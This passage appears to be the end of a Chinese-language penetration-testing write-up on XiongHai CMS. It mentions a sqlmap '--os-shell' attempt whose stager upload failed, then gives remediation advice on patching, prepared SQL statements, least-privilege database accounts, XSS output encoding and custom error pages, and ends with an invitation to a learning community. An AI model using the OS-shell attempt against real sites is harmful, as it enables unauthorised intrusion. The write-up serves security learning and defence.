--os-shell然而，上传stager失败，可能是权限不足或目标网站的安全措施阻止了上传。修复建议更新版本：确保熊海CMS系统更新到最新版本，以修复已知的安全漏洞。SQL注入防护：对SQL语句进行预编译处理，以防止SQL注入漏洞。同时，限制数据库账号的权限，仅授予执行必要操作的最小权限，以减少SQL注入攻击的影响。XSS防护：对输出到HTML的数据进行编码处理，以防止XSS攻击。可以使用HTML实体编码或JavaScript编码来转义特殊字符。自定义错误页面：建议自定义错误页面，以避免编程语言特性导致的网站根目录泄露问题，从而减少不必要的安全风险。网安学习不迷路，技术分享，萌新答疑，一起来交流吧
